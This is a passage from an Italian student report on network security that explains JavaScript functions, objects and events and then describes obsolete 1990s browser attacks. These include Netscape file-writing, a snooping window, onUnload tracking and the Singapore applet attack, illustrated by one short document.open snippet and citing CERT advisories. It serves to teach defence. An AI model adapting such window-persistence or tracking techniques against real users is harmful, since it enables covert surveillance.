Anche in JavaScript, come in Java e in C++, le funzioni consentono di suddividere le operazioni più complesse in frammenti più semplici e gestibili. Così come avviene per le funzioni Java gli Script possono passare dei parametri alle funzioni e le funzioni possono restituire un valore al chiamante. La differenza fra le funzioni Java e JavaScript è nel fatto che nel caso di JavaScript la definizione della funzione deve essere preceduta dalla parola riservata function e non si deve specificare né il tipo della funzione né il tipo dei parametri della funzione, mentre in Java si definiscono delle classi con rispettivi metodi. Esempio:
 

function NomeFunzione(Parametro_1,Parametro_2)
  {
    // Istruzioni
    return(risultato);
  }

 


 
 

3.9   Gli oggetti in JavaScript
 

Come il linguaggio di programmazione Java, anche JavaScript è il linguaggio a oggetti, ovvero JavaScript supporta l'uso di oggetti che definiscono il valore che può essere contenuto in una variabile e una serie di operazioni che il programma può eseguire su tale variabile. Le funzioni basate su classi che operano su un oggetto sono chiamate metodi. Per comprendere meglio gli oggetti JavaScript, la Tabella 3.1 elenca gli oggetti predefiniti JavaScript:
 
 
 
 
 
 
         OGGETTO          SCOPO
          Date Restituisce la data corrente
          Document Consente allo Script di scrivere dati su una pagina HTML
          Form Consente allo Script di raccogliere e visualizzare dati
          History Consente all'utente di accedere all'elenco cronologico
          Location Consente allo Script di manipolare l'indirizzo URL corrente
          Math Definisce varie funzioni e costanti matematiche
          String Conserva e manipola stringhe di caratteri
          Windows Consente allo Script di creare finestre e frame

                                                         Tabella 3.1

Oltre ad utilizzare gli oggetti predefiniti di JavaScript è anche possibile creare nuovi oggetti. Per creare un oggetto si deve innanzitutto specificare il nome dei campi che saranno contenuti nell'oggetto. Poi, utilizzando una funzione costruttore (con un nome che corrisponda al nome dell'oggetto), è possibile inizializzare i campi dell'oggetto. Le seguenti istruzioni illustrano la funzione costruttore per un oggetto chiamato "tesina" e costruito da tre campi.

 
function tesina(titolo,autori,corso)
{
   this.titolo = titolo;
   this.autori = autori;
   this.corso = corso;
  }
Per assegnare il valore dei parametri ai campi dell'oggetto la funzione utilizza la parola riservata this.
Il file ObjectMethod.htm illustra l'uso di dati e metodi dell'oggetto :
<script LANGUAGE="JavaScript">
<!-- Hide the JavaScript
function show_tesina()
  {
     document.write("<H1>Titolo: " + this.titolo + "</H1>");
     document.write("<H1>Autori: " + this.autori + "</H1>");
     document.write("<H1>Corso: " + this.corso + "</H1>");
  }

function tesina(titolo, autori, corso)
  {
     this.titolo = titolo;
     this.autori = autori;
     this.corso = corso;
     this.show_tesina = show_tesina;
  }

HackerBook = new tesina("Script Ostili","Adorni Roberto e Caparello Luigi", "Sicurezza su reti");
HackerBook.show_tesina();

// Stop hiding the code -->
</script>

L'oggetto "tesina" è molto semplice in quanto definisce solo campi per dati. In altre parole l'oggetto non  specifica alcun metodo (funzione) che operi su tali dati. Per assegnare un metodo a un oggetto si definisce il metodo (come una funzione JavaScript) e poi si assegna la funzione al campo corrispondente.
 
 
 
 


 
 

3.10   Gli eventi JavaScript
 

In un ambiente Windows o in un browser, capita frequentemente che i programmi debbano rispondere a degli eventi, la pressione di un tasto o il movimento del mouse. In Java si impiegano le funzioni keyDown e keyUp. In JavaScript, il gestore degli eventi è uno Script. Gli Script JavaScript in genere definiscono una funzione che contiene tutto ciò che è necessario per gestire l'evento.
Inoltre è utile tenere presente che l'HTML è stato gradualmente modificato e reso in grado di includere anche eventi JavaScript per incrementare il livello di interazione.
Nell' esempio seguente riportiamo alcuni eventi inclusi nell'HTML:
 

<A
  HREF="location"  ONCLICK="clickJScode"
                                 ONMOUSEOUT="outJScode"
                                ONMOUSEOVER="overJScode"
                                     TARGET="windowName"
 >
...
</A>
<BODY   BACKGROUND="bgURL"  BGCOLOR="color"  TEXT="color"
                  LINK="color" ALINK="color" VLINK="color"  ONLOAD="loadJScode"
           ONUNLOAD="unloadJScode"   ONBLUR="blurJScode" ONFOCUS="focusJScode"
                CLASS="styleClass" ID="namedPlaceOrStyle"LANG="ISO"  STYLE="style">
...
</BODY>


JavaScriptdefinisce vari eventi a cui uno Script può rispondere. La Tabella 3.2 elenca brevemente questi eventi.
 
 
 
 
                       EVENTO          SCOPO
Blur Si verifica quando un utente fa clic fuori dal campo corrente
Change Si verifica quando un utente cambia un valore in una scheda
Click Si verifica quando un utente fa clic su un link o campo di una scheda
Focus Si verifica quando l'utente seleziona un elemento in una scheda
Load Si verifica quando il browser cambia la pagina
Mouseover Si verifica quando l'utente porta il puntatore del mouse su un link
Select Si verifica quando l'utente seleziona il campo di una scheda
Submit Si verifica quando l'utente invia la scheda
Unload Si verifica quando l'utente si porta su un'altra pagina HTML

Tabella 3.2

 
 
 
 


 
 

4.   Rischi di sicurezza relativi a JavaScript

È importante come alcuni aspetti di JavaScript possano presentare alcuni problemi di sicurezza, eccone alcuni presenti in alcune implementazioni di JavaScript che possono essere sfruttate facilmente da un hacker :
 

Netscape si è preoccupata di risolvere questi problemi di sicurezza a partire da Navigator 2.01, tramite la disabilitazione del metodo submit in una scheda per l'invio di messaggi di posta elettronica e questo riduce la possibilità che un hacker possa modificare l'indirizzo immesso per trovare gli indirizzi e-mail contenuti in un sito Web.
 
 
 
 
 


 
 

4.1 I problemi di sicurezza di Netscape

Sfortunatamente, se  si usa Netscape Navigator 3.0,3.01 o 4.0 con JavaScript attivato, il computer rimane comunque a rischio. Un server ostile può inviare all'utente dei file a sua insaputa. Ad esempio la pagina di un hacker può scrivere sui file locali del computer, come mostra il seguente codice:

document.open("Posso scrivere sul disco?")
document.write("")
document.close()
La scrittura del file sul disco richiede il passaggio attraverso la finestra di dialogo di un salvataggio e dunque non è trasparente. L'utente sceglie il nome del file e in questa modo il server ostile può scrivere sul disco. In questo modo un hacker sufficientemente abile può specificare che una determinata pagina richiede un determinato plug-in di Navigator e visualizza la finestra di dialogo dei plug-in. Ma il plug-in prelevato, potrebbe invece occuparsi di cancellare tutti i file contenuti nel computer o di aprire un collegamento con il server ostile.
Se invece ci si connette da una macchina con Windows NT, il codice JavaScript dell'esempio precedente blocca il computer immediatamente dopo la visualizzazione della finestra di dialogo. Sui sistemi UNIX il codice JavaScript provoca il blocco del programma se non si apre una nuova finestra di Navigator prima di visitare un'altra pagina Web. Infine se si fa clic sul pulsante Cancel (Annulla) della finestra di dialogo di salvataggio, Windows 95 e MacOS si bloccano o come minimo si blocca Navigator. Si deve considerare che il file non viene chiuso né scritto finché non si esce da Navigator e dunque è possibile rilevare il problema prima che sia troppo tardi.
 
 
 
 


 
 

4.2  Il problema scoperto dal Bell Labs

Il centro di coordinamento del Bell Labs ha contattato Microsoft a proposito della potenziale vulnerabilità (identificata per la prima volta da un dipendente dei Bell Labs), che consente agli hacker di monitorare in modo remoto le attività Web di un utente. Vari browser Web, Netscape Navigator e Micosoft Internet Explorer che supportano Java sono vulnerabili a questo tipo di attacchi. Per ottenere una correzione di Internet Explorer 3.02 per Windows NT 4.0 si può contattare il sito http://www.microsoft.com.
Inizialmente l'utente carica un documento HTML in un una finestra W di un browser che contiene uno Script che prima setta se stesso ad essere indipendente e persistere su più documenti. Poi crea una nuova finestra W' (chiamata snooping window) usando la funzione window.open( ) e carica su di essa un documento HTML che contiene uno Script ostile, il quale consente ad un hacker di controllare in modo remoto tutte le attività dell'utente, incluse le seguenti:

Tale attacco può essere portato anche se l'utente è protetto da un firewall aziendale o del provider o se si stanno visualizzando documenti su un server HTTP sicuro. È molto difficile nascondere completamente una finestra, tuttavia poichè molti siti utilizzano finestre multiple, quella contenente lo Script ostile potrebbe non destare sospetto e non essere riconosciuta.
 


 
 
 
 

4.3 Altri attacchi

Passiamo a descrivere brevemente altri possibili attacchi:

Tracker attack: questo attacco ha un comportamento simile al problema riscontrato dal Bell Labs, e sfrutta la vulnerabilità di Netscape Navigator 3.0 riguardo all'utilizzo dell'evento "Unload"(vedi Tabella 3.2) gestito dall' handler onUnload( ) che è un codice JavaScript che si occupa di scaricare il documento HTML corrente. Il browser carica il documento HTML selezionato nella finestra corrente W; tale documento contiene uno Script che crea una nuova finestra nella quale viene eseguito lo Script ostile. Quest'ultimo sostituisce l'handler onUnload( )  nella finestra W con un altro che quando viene eseguito oltre a scaricare il documento HTML trasmette le informazioni dell'utente ad un server remoto.

Singapore attack: anche questo attacco è molto simile ai precedenti e lavora principalmente in Netscape Navigator 4.* . La virtual machine di Java inclusa nel browser permette ad un thread applet di continuare l'esecuzione anche quando il documento che lo conteneva è stato scaricato. In particolare questo attacco avviene facendo interagire un applet Java con gli Script JavaScript, sfruttando una tecnologia, LiveConnect,  progettata per permettere l' interazione tra l'applet e Script. L'applet ostile inizia la sua esecuzione quando si apre il documento HTML che lo contiene, ottenendo così una finestra che rimarrà attiva anche dopo aver caricato un altro documento. L'applet interagendo con gli Script è in grado di comunicare al server remoto tutte le informazioni contenute nei documenti caricati succesivamente.

Per ulteriori chiarimenti e soluzioni si può consultare il sito del CERT all'URL:
http://www.cert.org/advisories/CA-97.20.javascript.html  [3].

Bug 27-12-1999: Il 27/12/1999 è emerso un nuovo bug che potrebbe colpire tutti gli utenti del browser Microsoft. Stando al suo scopritore, un programmatore bulgaro Georgi Guninski, è ancora una volta JavaScript il problema. In questo caso quando si utilizza il comando NavigateAndFind diretto verso una pagina con Javascript all'interno di un frame, il controllo di sicurezza sul Javascript da parte del browser può essere superato. In tal caso il comando da la possibilità ad un hacker di leggere qualsiasi genere di file sul computer dell'utente.
Microsoft ha puntualizzato che in un caso del genere, i file non potrebbero essere né modificati né cancellati, Guninski ha ripetuto per l'ennesima volta che i controlli di Active Scripting di Explorer dovrebbero essere disabilitati da chi vuole dormire sonni tranquilli. E per questo ha anche pubblicato sul suo sito una dimostrazione del bug. Per ulteriori informazioni si può consultare il sito
http://www.punto-informatico.it/p.asp?i=30108  [4].
 
 


 

Conclusioni

In questa relazione si è parlato delle basi degli Script realizzati con linguaggi C/C++, Perl e JavaScript. Inoltre si è appreso che esistono dei rischi di sicurezza sia per i server che per il client. Quando si sviluppa il contenuto di un sito Web o si visita un sito, è opportuno tenere in considerazione i rischi derivanti dall'impiego degli Script.
Ecco, in breve, alcuni concetti chiave:



 
 
 
 

Bibliografia
 
[1] Klandler and Renehan "Hacker Proof"  McGraw-Hill
[2] Se si desiderano maggiori chiarimenti su come eliminare i metacaratteri
     consultate il sito http://www.cert.org/tech_tips/cgi_metacharacters.html
[3] Per ulteriori chiarimenti e soluzioni sui problemi JavaScript si può
     consultare il sito http://www.cert.org/advisories/CA-97.20.javascript.html
[4] Sui problemi più recenti di Microsoft Explorer si può consultare il sito http://www.punto-informatico.it/p.asp?i=30108
 
 



 
 
 

Alcuni siti che forniscono informazioni utili per la creazione di Script: